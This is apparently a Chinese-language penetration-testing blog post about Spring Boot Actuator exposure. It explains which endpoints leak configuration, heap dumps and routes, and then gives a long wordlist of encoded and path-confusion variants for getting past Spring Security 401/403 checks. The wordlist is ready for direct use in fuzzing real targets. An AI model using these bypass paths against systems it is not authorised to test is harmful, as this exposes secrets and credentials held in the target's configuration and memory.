前言
Spring 扫描以及常见 Bypass 字典
针对spring、springmvc、spring boot应用的资产识别和漏洞探测思路
包含
1 2 3 4 5 6 7
| Spring Boot 敏感端点扫描 Actuator 未授权访问 Spring Security 鉴权绕过 路径解析差异绕过 Spring Cloud 组件漏洞 SpringMVC 参数绑定问题 历史组件 RCE、文件读取、表达式注入等漏洞
|
spring到底在扫描什么?
1.Spring Boot Actuator未授权访问
Actuator 是 Spring Boot 的监控和管理组件,常见端点包括:
1 2 3 4 5 6 7 8 9 10 11
| /actuator /actuator/health /actuator/info /actuator/env /actuator/configprops /actuator/beans /actuator/mappings /actuator/heapdump /actuator/threaddump /actuator/loggers /actuator/gateway/routes
|
旧版本或自定义路径还可能出现:
1 2 3 4 5 6 7 8 9 10
| /env /health /info /metrics /mappings /trace /dump /heapdump /autoconfig /configprops
|
然后对应的这些路径的危害有
1 2 3 4 5 6
| /health:通常只用于确认服务状态。 /info:可能泄露版本、Git 提交和构建信息。 /env:可能暴露数据库、Redis、第三方服务等配置信息。 /mappings:可以枚举后端所有 Controller 路由。 /heapdump:可能下载 JVM 堆文件,从中提取敏感数据。 /gateway/routes:与 Spring Cloud Gateway 路由配置有关
|
这里的bypass
原始敏感路径被拦截、返回 401/403,但通过改变 URL 表达形式,使代理服务器、Servlet 容器、Spring MVC 和 Spring Security 对路径产生不同理解
比如原来我们要扫描
1 2 3
| /actuator/env /admin /api/manage
|
但是会有很多的变体有可能
1 2 3 4 5 6
| /actuator/env/ /actuator//env //actuator/env /actuator/./env /actuator;x=/env /actuator/env;
|
spring特征
这个是最常见的情况
其他情况
1.json
1 2 3 4 5 6
| { "timestamp": "...", "status": 404, "error": "Not Found", "path": "/xxx" }
|
2.异常类
1 2 3 4 5 6
| { "timestamp": "...", "status": 404, "error": "Not Found", "path": "/xxx" }
|
什么情况下用spring漏洞挖掘
1.发现 Actuator
1 2 3
| /actuator /actuator/health /actuator/info
|
2.Swagger 或 API 文档暴露
1 2 3
| /v2/api-docs /v3/api-docs /swagger-ui/index.html
|
最后附上bypass字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720
| /actuator/env /actuator;/env /actuator/;/env /actuator;;/env /actuator/..;/env /actuator/./..;/env /actuator/../..;/env /a/..;/actuator/env /admin/..;/actuator/env /anything/..;/actuator/env /actuator//env /actuator///env /actuator/./env /actuator/../env /./actuator/env /../actuator/env /%61ctuator/env /actuator/%65nv /actuator/%65%6e%76 /%61%63%74%75%61%74%6f%72/%65%6e%76 /%2561ctuator/env /actuator/%2565nv /Actuator/env /ACTUATOR/env /actuator/Env /actuator/ENV /actuator/eNv /actuator%00/env /actuator/%00env /actuator%0a/env /actuator%0d/env /actuator%09/env /actuator/;env /actuator/;env; /actuator/..;env /actuator/...;/env \actuator\env /actuator\env /actuator:/env /actuator/@/env /actuator+/env /actuator%20/env /actuator/test/../env /xxx/../actuator/env /env /;/env /;;/env /..;/env /a/..;/env /./env //env /%65nv /%2565nv /Env /ENV /eNv /%00env /%0aenv /;env \env /env/ /actuator/heapdump /actuator;/heapdump /actuator/;/heapdump /actuator/..;/heapdump /a/..;/actuator/heapdump /admin/..;/actuator/heapdump /actuator//heapdump /actuator/./heapdump /./actuator/heapdump /%61ctuator/heapdump /actuator/%68%65%61%70%64%75%6d%70 /Actuator/heapdump /actuator/Heapdump /actuator%00/heapdump /actuator%0a/heapdump /actuator/;heapdump \actuator\heapdump /actuator/heapdump/ /xxx/..;/actuator/heapdump /heapdump /;/heapdump /..;/heapdump /Heapdump /%00heapdump /actuator/mappings /actuator;/mappings /actuator/;/mappings /actuator/..;/mappings /a/..;/actuator/mappings /actuator//mappings /actuator/./mappings /%61ctuator/mappings /actuator/%6d%61%70%70%69%6e%67%73 /Actuator/mappings /actuator/Mappings /actuator%00/mappings /actuator/;mappings \actuator\mappings /xxx/..;/actuator/mappings /mappings /;/mappings /..;/mappings /Mappings /%00mappings /actuator/configprops /actuator;/configprops /actuator/;/configprops /actuator/..;/configprops /a/..;/actuator/configprops /actuator//configprops /actuator/./configprops /%61ctuator/configprops /actuator/%63%6f%6e%66%69%67%70%72%6f%70%73 /Actuator/configprops /actuator/Configprops /actuator%00/configprops /actuator/;configprops \actuator\configprops /xxx/..;/actuator/configprops /configprops /;/configprops /..;/configprops /Configprops /%00configprops /actuator/beans /actuator;/beans /actuator/;/beans /actuator/..;/beans /a/..;/actuator/beans /actuator//beans /actuator/./beans /%61ctuator/beans /actuator/%62%65%61%6e%73 /Actuator/beans /actuator/Beans /actuator%00/beans /actuator/;beans \actuator\beans /xxx/..;/actuator/beans /beans /;/beans /..;/beans /Beans /%00beans /actuator/health /actuator;/health /actuator/;/health /actuator/..;/health /a/..;/actuator/health /actuator//health /actuator/./health /%61ctuator/health /actuator/%68%65%61%6c%74%68 /Actuator/health /actuator/Health /actuator%00/health /actuator/;health \actuator\health /xxx/..;/actuator/health /health /;/health /..;/health /Health /%00health /actuator/loggers /actuator;/loggers /actuator/;/loggers /actuator/..;/loggers /a/..;/actuator/loggers /actuator//loggers /actuator/./loggers /%61ctuator/loggers /actuator/%6c%6f%67%67%65%72%73 /Actuator/loggers /actuator/Loggers /actuator%00/loggers /actuator/;loggers \actuator\loggers /xxx/..;/actuator/loggers /loggers /;/loggers /..;/loggers /Loggers /%00loggers /actuator/httptrace /actuator;/httptrace /actuator/;/httptrace /actuator/..;/httptrace /a/..;/actuator/httptrace /actuator//httptrace /actuator/./httptrace /%61ctuator/httptrace /actuator/%68%74%74%70%74%72%61%63%65 /Actuator/httptrace /actuator/Httptrace /actuator%00/httptrace /actuator/;httptrace \actuator\httptrace /xxx/..;/actuator/httptrace /httptrace /;/httptrace /..;/httptrace /Httptrace /%00httptrace /actuator/metrics /actuator;/metrics /actuator/;/metrics /actuator/..;/metrics /a/..;/actuator/metrics /actuator//metrics /actuator/./metrics /%61ctuator/metrics /actuator/%6d%65%74%72%69%63%73 /Actuator/metrics /actuator/Metrics /actuator%00/metrics /actuator/;metrics \actuator\metrics /xxx/..;/actuator/metrics /metrics /;/metrics /..;/metrics /Metrics /%00metrics /actuator/threaddump /actuator;/threaddump /actuator/;/threaddump /actuator/..;/threaddump /a/..;/actuator/threaddump /actuator//threaddump /actuator/./threaddump /%61ctuator/threaddump /actuator/%74%68%72%65%61%64%64%75%6d%70 /Actuator/threaddump /actuator/Threaddump /actuator%00/threaddump /actuator/;threaddump \actuator\threaddump /xxx/..;/actuator/threaddump /threaddump /;/threaddump /..;/threaddump /Threaddump /%00threaddump api-docs actuator actuator/./env actuator/auditLog actuator/auditevents actuator/autoconfig /v2/api-docs /swagger-ui.html /swagger /api-docs /api.html /swagger-ui /swagger/codes /api/index.html /api/v2/api-docs /v2/swagger.json /swagger-ui/html /distv2/index.html /swagger/index.html /sw/swagger-ui.html /api/swagger-ui.html /static/swagger.json /user/swagger-ui.html /swagger-ui/index.html /swagger-dubbo/api-docs /template/swagger-ui.html /swagger/static/index.html /dubbo-provider/distv2/index.html /spring-security-rest/api/swagger-ui.html /spring-security-oauth-resource/swagger-ui.html /actuator /auditevents /autoconfig /caches /conditions /docs /dump /flyway /info /intergrationgraph /jolokia /logfile /liquibase /prometheus /refresh /scheduledtasks /sessions /shutdown /trace /actuator/auditevents /actuator/conditions /actuator/info /actuator/scheduledtasks /actuator/jolokia /actuator/hystrix.stream actuator/beans actuator/caches actuator/conditions actuator/configurationMetadata actuator/configprops actuator/dump actuator/env actuator/events actuator/exportRegisteredServices actuator/features actuator/flyway actuator/health actuator/healthcheck actuator/httptrace actuator/hystrix.stream actuator/info actuator/integrationgraph actuator/jolokia actuator/logfile actuator/loggers actuator/loggingConfig actuator/liquibase actuator/metrics actuator/mappings actuator/scheduledtasks actuator/swagger-ui.html actuator/prometheus actuator/refresh actuator/registeredServices actuator/releaseAttributes actuator/resolveAttributes actuator/sessions actuator/springWebflow actuator/sso actuator/ssoSessions actuator/statistics actuator/status actuator/threaddump actuator/trace %20/swagger-ui.html actuator/heapdump api.html api/index.html api/swagger-ui.html api/v2/api-docs auditevents autoconfig beans caches cloudfoundryapplication conditions configprops distv2/index.html docs druid/index.html druid/login.html druid/websession.html dubbo-provider/distv2/index.html dump entity/all env env/(name) eureka flyway gateway/actuator gateway/actuator/auditevents gateway/actuator/beans gateway/actuator/conditions gateway/actuator/configprops gateway/actuator/env gateway/actuator/health gateway/actuator/heapdump gateway/actuator/httptrace gateway/actuator/hystrix.stream gateway/actuator/info gateway/actuator/jolokia gateway/actuator/logfile gateway/actuator/loggers gateway/actuator/mappings gateway/actuator/metrics gateway/actuator/scheduledtasks gateway/actuator/swagger-ui.html gateway/actuator/threaddump gateway/actuator/trace health heapdump heapdump.json httptrace hystrix hystrix.stream info intergrationgraph jolokia jolokia/list liquibase logfile loggers mappings metrics monitor prometheus refresh scheduledtasks sessions shutdown spring-security-oauth-resource/swagger-ui.html spring-security-rest/api/swagger-ui.html static/swagger.json sw/swagger-ui.html /swagger-ui.html#/test-controller swagger swagger/codes swagger/index.html swagger/static/index.html swagger/swagger-ui.html swagger-dubbo/api-docs swagger-ui swagger-ui.html swagger-ui/html swagger-ui/index.html system/druid/index.html template/swagger-ui.html threaddump trace user/swagger-ui.html v1.1/swagger-ui.html v1.2/swagger-ui.html v1.3/swagger-ui.html v1.4/swagger-ui.html v1.5/swagger-ui.html v1.6/swagger-ui.html v1.7/swagger-ui.html v1.8/swagger-ui.html v1.9/swagger-ui.html v2.0/swagger-ui.html 2.1/swagger-ui.html 2.2/swagger-ui.html 2.3/swagger-ui.html 2/swagger.json webpage/system/druid/index.html prod-api/%20/swagger-ui.html prod-api/actuator prod-api/actuator/auditevents prod-api/actuator/beans prod-api/actuator/conditions prod-api/actuator/configprops prod-api/actuator/env prod-api/actuator/health prod-api/actuator/heapdump prod-api/actuator/httptrace prod-api/actuator/hystrix.stream prod-api/actuator/info prod-api/actuator/jolokia prod-api/actuator/logfile prod-api/actuator/loggers prod-api/actuator/mappings prod-api/actuator/metrics prod-api/actuator/scheduledtasks prod-api/actuator/swagger-ui.html prod-api/actuator/threaddump prod-api/actuator/trace prod-api/api.html prod-api/api/index.html prod-api/api/swagger-ui.html prod-api/api/v2/api-docs prod-api/v2/api-docs prod-api/auditevents prod-api/autoconfig prod-api/beans prod-api/caches prod-api/cloudfoundryapplication prod-api/conditions prod-api/configprops prod-api/distv2/index.html prod-api/docs prod-api/druid/index.html prod-api/druid/login.html prod-api/druid/websession.html prod-api/dubbo-provider/distv2/index.html prod-api/dump prod-api/entity/all prod-api/env prod-api/env/(name) prod-api/eureka prod-api/flyway prod-api/gateway/actuator prod-api/gateway/actuator/auditevents prod-api/gateway/actuator/beans prod-api/gateway/actuator/conditions prod-api/gateway/actuator/configprops prod-api/gateway/actuator/env prod-api/gateway/actuator/health prod-api/gateway/actuator/heapdump prod-api/gateway/actuator/httptrace prod-api/gateway/actuator/hystrix.stream prod-api/gateway/actuator/info prod-api/gateway/actuator/jolokia prod-api/gateway/actuator/logfile prod-api/gateway/actuator/loggers prod-api/gateway/actuator/mappings prod-api/gateway/actuator/metrics prod-api/gateway/actuator/scheduledtasks prod-api/gateway/actuator/swagger-ui.html prod-api/gateway/actuator/threaddump prod-api/gateway/actuator/trace prod-api/health prod-api/heapdump prod-api/heapdump.json prod-api/httptrace prod-api/hystrix prod-api/hystrix.stream prod-api/info prod-api/intergrationgraph prod-api/jolokia prod-api/jolokia/list prod-api/liquibase prod-api/logfile prod-api/loggers prod-api/mappings prod-api/metrics prod-api/monitor prod-api/prometheus prod-api/refresh prod-api/scheduledtasks prod-api/sessions prod-api/shutdown prod-api/spring-security-oauth-resource/swagger-ui.html prod-api/spring-security-rest/api/swagger-ui.html prod-api/static/swagger.json prod-api/sw/swagger-ui.html prod-api/swagger prod-api/swagger/codes prod-api/swagger/index.html prod-api/swagger/static/index.html prod-api/swagger/swagger-ui.html prod-api/swagger-dubbo/api-docs prod-api/swagger-ui prod-api/swagger-ui.html prod-api/swagger-ui/html prod-api/swagger-ui/index.html prod-api/system/druid/index.html prod-api/template/swagger-ui.html prod-api/threaddump prod-api/trace prod-api/user/swagger-ui.html prod-api/v1.1/swagger-ui.html prod-api/v1.2/swagger-ui.html prod-api/v1.3/swagger-ui.html prod-api/v1.4/swagger-ui.html prod-api/v1.5/swagger-ui.html prod-api/v1.6/swagger-ui.html prod-api/v1.7/swagger-ui.html prod-api/v1.8/swagger-ui.html prod-api/v1.9/swagger-ui.html prod-api/v2.0/swagger-ui.html prod-api/v2.1/swagger-ui.html prod-api/v2.2/swagger-ui.html prod-api/v2.3/swagger-ui.html prod-api/v2/swagger.json prod-api/webpage/system/druid/index.html actuator/env.css artemis-portal/artemis/env artemis/api artemis/api/env api api/actuator api/doc api/swaggerui api/swagger api/swagger/ui api/v2;%0A/api-docs api/v2;%252Ftest/api-docs doc.html druid decision/login env.css functionRouter gateway/routes integrationgraph jeecg/swagger-ui jeecg/swagger/ libs/swaggerui list nacos portal/conf/config.properties portal/env/ swagger/doc.json Swagger/ui/index swagger/ui swagger/v1/swagger.json swagger/v2/swagger.json swagger-resources swagger-resources/configuration/ui swagger-resources/configuration/security swagger-ui.html; system/druid/webseesion.html users version v1/api-docs/ v2/api-docs/ v3/api-docs/ v1/swagger-resources v2/swagger-resources v3/swagger-resources v1.1;%0A/api-docs v1.2;%0A/api-docs v1.3;%0A/api-docs v1.4;%0A/api-docs v1.5;%0A/api-docs v1.6;%0A/api-docs v1.7;%0A/api-docs v1.8;%0A/api-docs v1.9;%0A/api-docs v2.0;%0A/api-docs v2.1/swagger-ui.html v2.1;%0A/api-docs v2.2/swagger-ui.html v2.2;%0A/api-docs v2.3/swagger-ui.html v2.3;%0A/api-docs v1/swagger.json v2/swagger.json v3/swagger.json v2;%0A/api-docs v3;%0A/api-docs v2;%252Ftest/api-docs v3;%252Ftest/api-docs webpage/system/druid/websession.html webroot/decision/login webjars/springfox-swagger-ui/swagger-ui-standalone-preset.js webjars/springfox-swagger-ui/swagger-ui-standalone-preset.js?v=2.9.2 webjars/springfox-swagger-ui/springfox.js webjars/springfox-swagger-ui/springfox.js?v=2.9.2 webjars/springfox-swagger-ui/swagger-ui-bundle.js webjars/springfox-swagger-ui/swagger-ui-bundle.js?v=2.9.2 actuator/shutdown /v1.8/swagger-ui.html /v1.9/swagger-ui.html /v2.0/swagger-ui.html /actuator;/;/env /actuator;/test;/env /actuator/test;/env /actuator/;/test/../env /actuator;/actuator/env /actuator;/../actuator/env /public/..;/actuator/env /static/..;/actuator/env /assets/..;/actuator/env /actuator/any/..;/env /actuator/foo/bar/..;/../env /actuator/././env /actuator/./././env /actuator/../../env /actuator/./../env /actuator/e%6ev /actuator/en%76 /%61ctuator/%65nv /actuator/%2565%256e%2576 /%2561%2563%2574%2575%2561%2574%256f%2572/%2565%256e%2576 /Actuator/Env /ACTUATOR/ENV /actuator/EnV /actuator/evN /Actuator/EnV /aCtUaToR/eNv /actuator/%u0065nv /actuator/%u0065%u006e%u0076 /%u0061ctuator/env /%u0061%u0063%u0074%u0075%u0061%u0074%u006f%u0072/%u0065%u006e%u0076 /actuator/env%00 /%00actuator/env /actuator/%00/env /actuator%0a%0d/env /actuator/%0aenv /actuator/%0denv /actuator/%09env /actuator%0a/../env /actuator/;;env /actuator/;test;env /actuator/;..;env /actuator/.;env /actuator/....;/env /actuator/;/../env /actuator/;/./env \actuator/env /actuator\\env \\actuator\\env /actuator\\/env /actuator:@/env /actuator:/@/env /actuator/:/env /actuator/:@/env /actuator+%20/env /actuator/%20env /actuator/%2benv /actuator+/../env /actuator/foo/bar/../../env /actuator/a/b/c/../../../env /xxx/yyy/../../actuator/env /xxx/yyy/zzz/../../../actuator/env /actuator/ /actuator/shutdown /actuator/caches /actuator/health/readiness /actuator/health/liveness /actuator/prometheus /actuator/env%2f /actuator/env%2e /actuator/env%20 /actuator/env# /actuator/env? /actuator/env/.. /actuator/env/. /actuator/env// /actuator/env/;/ /..;/actuator/env /..;/actuator ..;/actuator ..;/actuator/env
|